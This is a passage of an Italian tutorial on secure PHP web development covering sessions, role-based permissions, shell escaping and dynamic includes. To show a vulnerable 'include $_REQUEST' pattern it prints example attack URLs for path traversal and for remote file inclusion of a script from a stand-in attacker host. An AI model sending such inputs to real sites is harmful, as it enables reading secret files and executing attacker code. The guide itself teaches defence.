        # This cookie is not a session or session expired.
        return FALSE;
    # Ok, we received a valid session cookie corresponding to
    # an existing session file. Resume the session:
    session_start();
    if( session_id() === $sv )
        # Session restored, cookie and session file renewed.
        return TRUE;
    # Race condition detected: the old session $sv expired in
    # the meanwhile and a new one was created by session_start()
    # rather than resuming the old session, so $_SESSION[] is empty.
    # Roll-back and return FALSE.
    session_destroy();
    return FALSE;
}

Come si usa questa funzione: sostituire al posto di session_start() nelle pagine interne. Tipicamente se ritorna FALSE rimanderemo l'utente alla pagina del login:

# session_start();  <== non usare questa!
if( ! session_exists() ){
    header("Location: http://www.miosito.it/login.php");
    exit;
}

Creare e distruggere le sessioni. Applicare con metodo questi criteri di amministrazione:

Utenti, ruoli e permessi

E' normale che un sito anche solo moderatamente complesso preveda un accesso differenziato a seconda del ruolo ricoperto dall'utente: spesso ci sono gli utenti registrati (l'entry level dei permessi), l'amministratore (che ha il permesso di attribuire i ruoli agli utenti), i moderatori, e altre figure intermedie. Di conseguenza avremo che certe pagine del sito saranno riservate solo a determinati utenti, mentre altre pagine potrebbero visualizzare dati più o meno completi in base al ruolo ricoperto dall'utente che le visita. E' evidente che la gestione corretta dei permessi di accesso ha conseguenze sul piano della sicurezza. Qui suggeriamo un possibile meccanismo per disciplinare gli accessi alle varie sezioni del sito. Chiameremo queste abilitazioni anche come permessi o ruoli in modo interscambiabile: il lettore sceglierà la denominazione che preferisce.

Attribuire i ruoli all'atto del login. Una possibile implementazione dei ruoli, semplice ed estendibile, è la seguente: per ogni utente salvare nel DB una stringa di abilitazioni del tipo "0000000000". Ogni carattere corrisponde a un ruolo. Tipicamente il primo carattere abilita al ruolo di amministratore, per cui la stringa delle abilitazioni per questa figura sarà "1000000000" dove l'1 in prima posizione marca il ruolo. All'atto del login conviene salvare questa stringa nella sessione, dato che dovremo farvi accesso frequentemente. Certe abilitazioni non si possono riassumere in un solo flag. Per esempio, se l'utente è moderatore di un dato forum, dovremo prevedere un ulteriore meccanismo per rappresentare di quali forum esso è il moderatore.

Definire una funzione di verifica del ruolo. Conviene scrivere una funzioncina che verifica il ruolo dell'utente corrente, qualcosa del tipo role_check(3) che verifica se l'utente ha il ruolo numero 3. Questa funzione deve solo verificare che la stringa dei permessi contenga un 1 nella posizione 3. La funzione ritorna TRUE solo se l'utente è abilitato al ruolo richiesto. Per motivi di efficienza leggeremo dal DB le abilitazioni dell'utente al momento del login e le metteremo nella sessione, in modo che ogni test non richieda un altro accesso al DB.

/*. bool .*/ function role_check(/*. int .*/ $n)
{
    if( ! isset($_SESSION['roles']) ){
        trigger_error("\$_SESSION['roles'] not set");
        return FALSE;
    }
    $r = (string) $_SESSION['roles'];
    if( ($n < 0) or ($n >= strlen($r)) ){
        trigger_error("no role $n in roles $r");
        return FALSE;
    }
    return $r[$n] === "1";
}

Conviene definire tramite costanti gli offset dei vari ruoli:

define("ROLE_ADMIN", 0);
define("ROLE_MODERATOR", 1);
define("ROLE_POWERUSER", 2);
...

Generare dinamicamente le ancore e i bottoni. Quando si genera un'ancora, stabilire prima se l'utente corrente ha accesso a quella pagina oppure no. Se l'utente non ha accesso, è perfettamente inutile presentargli l'ancora di accesso. Di conseguenza in condizioni normali un utente non abilitato non dovrebbe mai arrivare a una pagina per la quale non ha accesso. Ad esempio, la pagina base del sito raggiunta dagli utenti subito dopo il login è tipicamente un menu dal quale si accede alle altre sottosezioni; l'amministratore del sito e i moderatori troveranno in questa pagina le ancore che li rimandano alle pagine di loro competenza:

if( role_check(ROLE_ADMIN) or role_check(ROLE_MODERATOR) )
    echo "<a href='forum-stats.php'>Statistiche forum</a>";

if( role_check(ROLE_ADMIN) )
    echo "<a href='admin.php'>Amministrazione</a>";

Notare che all'inizio di ogni pagina dovremo comunque eseguire il controllo sull'abilitazione alle funzionalità di quella pagina, perché gli utenti malevoli hanno il vizio di aggirare i percorsi stabiliti dall'applicazione, e tendono a richiamare le pagine a loro arbitrio se solo ne conoscono l'esistenza.

Proteggere le pagine ad accesso riservato. Per ogni pagina, decidere quali categorie di utenti hanno il permesso di visualizzarla. Usare la funzione role_check() e se l'utente non risulta abilitato, rimandare alla pagina base del sito o altra pagina opportuna:

if( ! role_check(ROLE_ADMIN) ){
    header("Location: https://www.miosito.it/index.php");
    trigger_error("unexpected access by user " . $_SESSION['user']);
    exit;
}

In questo esempio generiamo un USER_NOTICE nel log file quando si verifica un accesso non consentito. Questo avviso può avere due significati: da qualche parte abbiamo messo un'ancora sbagliata per un utente non abilitato oppure l'utente sta facendo qualcosa di losco.

Generare dinamicamente i contenuti. Una stessa pagina può presentare informazioni diverse a seconda del ruolo dell'utente. Ad esempio, in un forum il moderatore potrebbe visualizzare i dati completi di registrazione dell'utente che ha inserito un certo messaggio e potrebbe disporre di un'ancora o di un bottone che gli consentono di respingere un messaggio indesiderato.

Fin qui abbiamo visto le tecniche di sviluppo di siti WEB sicuri che sono di immediata realizzazione. Per affrontare applicazioni WEB più complesse diventa necessario sviluppare un proprio insieme di strumenti di sviluppo che rendano più semplice (e quindi più sicuro) gestire sessioni, stato interno dell'applicazione e abilitazioni degli utenti. Un esempio di un tale sistema è bt_ (www.icosaedro.it/bt_), un sistema adatto per le applicazioni stateful con struttura dell'interfaccia modal (in pratica, normali programmi client/server basati però su HTTP e HTML).

Varie

Evitare i comandi di shell. In generale esistono alternative pulite e sicure all'uso dello shell. Se non si può proprio farne a meno, ricordare che spesso le funzioni come system() passthru() popen() richiedono dei parametri per cui si deve usare sempre escapeshellcmd(). I parametri che iniziano con "-" in generale sono interpretati come opzioni, per cui fare attenzione che le stringhe fornite non inizino con questo carattere. In alternativa molti comandi di GNU/Linux hanno una opzione speciale "--": tutti i parametri che seguono questa opzione speciale vengono interpretati come parametri e non come opzioni. Esempio:

system("mv -- " . escapeshellcmd($a) . " " . escapeshellcmd($b));

Questo accorgimento da solo non salva dai disastri se $a e $b non sono correttamente sanificati. Un altro modo per invocare comandi dello shell sono le stringhe delimitate dalle virgolette singole inverse, ad esempio:

`mv pippo pluto`

Si tratta di una forma abbreviata della funzione system() per cui valgono le stesse considerazioni per quanto riguarda la sicurezza.

Non usare le istruzioni require* e include* con parametri forniti dal browser. Un programmatore poco avveduto vuole personalizzare le pagine del sito in base alle preferenze dell'utente. A questo scopo mette nella query HTTP un parametro head con il nome di un file da includere dinamicamente:

include $_REQUEST['head'];

Grave errore! Considerare ad esempio che cosa succederebbe se un utente richiamasse questo programma con uno di questi URL:

www.miosito.it/script.php?head=.htaccess
www.miosito.it/script.php?head=../../dati-segreti.txt
www.miosito.it/script.php?head=http://hk3rz.com/evil-script.php

Attraverso questa falla l'attaccante può leggere qualunque file, ivi inclusi i file che possono contenere elenchi di utenti e di password, o altri dati riservati. Ma ancora peggio: se la funzionalità allow_url_fopen è abilitata nel php.ini, allora l'attaccante può inviare al server uno script arbitrario e farlo eseguire. Naturalmente lo stesso discorso vale anche per le istruzioni include_once require require_once.

Se desideriamo proprio includere un file il cui nome viene determinato dinamicamente in base a un valore ritornato dal client, allora dovremo fare molta attenzione al controllo sanitario. Ecco alcune soluzioni:

L'applicazione tipica della inclusione dinamica è personalizzare le pagine WEB in base alle preferenze dell'utente. In questo caso basta definire un programma header.php da includere "d'ufficio" in ogni pagina WEB, il quale a sua volta include lo spezzone di codice necessario in base a una qualche logica, magari sfruttando uno degli esempi di prima. In questo modo la parte di codice intricata e prona ai bachi viene isolata in un solo file, facile da verificare e correggere.

Non usare la funzione eval(). Punto.

Non silenziare gli errori. Abusare dell'operatore "@" per aggirare le segnalazioni di errore si ritorce contro il programmatore stesso, che si ritrova poi ad eseguire il debugging "al buio" e non si accorge degli input malevoli che possono creare problemi al programma. Si possono silenziare gli errori solo se il programma li gestisce esplicitamente. Esempio:

# Leggi i dati aggiornati -- puo' fallire:
$f = @fopen("dati-nuovi.txt", "r");
if( $f === FALSE ){
    trigger_error("fopen(dati-nuovi.txt, r): " . (string) error_get_last()['message'],
        E_USER_WARNING);
    # Ripiego leggendo i dati vecchi:
    $f = fopen("dati-vecchi.txt", "r");
    if( $f === FALSE )
        die("dati non disponibili, ne' vecchi ne' nuovi");
}

Notare che il secondo fopen() non è silenziato e quindi in caso di errore produce di per sè un messaggio completo di nome file e motivo dell'errore; quindi il die() finale non ha bisogno di fornire altri dettagli.

Applicare gli operatori di incremento/decremento solo a variabili di tipo intero. Incrementare una stringa si può ma in generale non produce l'effetto voluto: viene infatti applicata un'arcana funzionalità ereditata dal Perl tale per cui si generano stringhe sempre più lunghe. Provare questo:

$i = "a";
for($j=0; $j < 1000; $j++)
    echo $i++, "<br>\n";

Cancellare i file di installazione/configurazione dopo l'uso. Certi package pronti dispongono di una comoda interfaccia di configurazione via WEB. Tipicamente lo scopo di questa interfaccia è preparare un file config.php contenente parametri vitali per il package e per la sicurezza. Questa interfaccia di configurazione deve essere concellata dopo l'uso, o in qualche modo deve essere disabilitata. La soluzione più logica sarebbe proteggere il sistema di configurazione con un meccanismo dei ruoli come abbiamo descritto, in modo che solo le persone con i permessi di amministrazione del sistema vi possano accedere.

Riferimenti

Argomenti correlati


Umberto Salsi
Commenti
Contatto
Mappa
Home / Indice sezione
An abstract of the latest comments from the visitors of this page follows. Please, use the Comments link above to read all the messages or to add your contribute.

2010-01-28 by Guest
molto bene
Voglio mostrare i miei complimenti a chi ha realizzato questo articolo, con relativi approfondimenti. Buona continuazione Simone[more...]

2007-06-11 by Guest
Mettendomi in sicurezza
Complimenti per l'articolo, il primo interessante "made in Italy" che ho trovato da alcune settimane a questa parte: per questione di studi sto affrontando il tema e documentarsi in internet è un continuo cercare! Questa pagina contiene un buon punto di partenza, direi ottimo per gli spunti utili, che spaziano tutti gli argomenti relativi la sicurezza nel PHP e nella progettazione in generale di web application. -- hummyhummy (http://hummyhummy.altervista.org)[more...]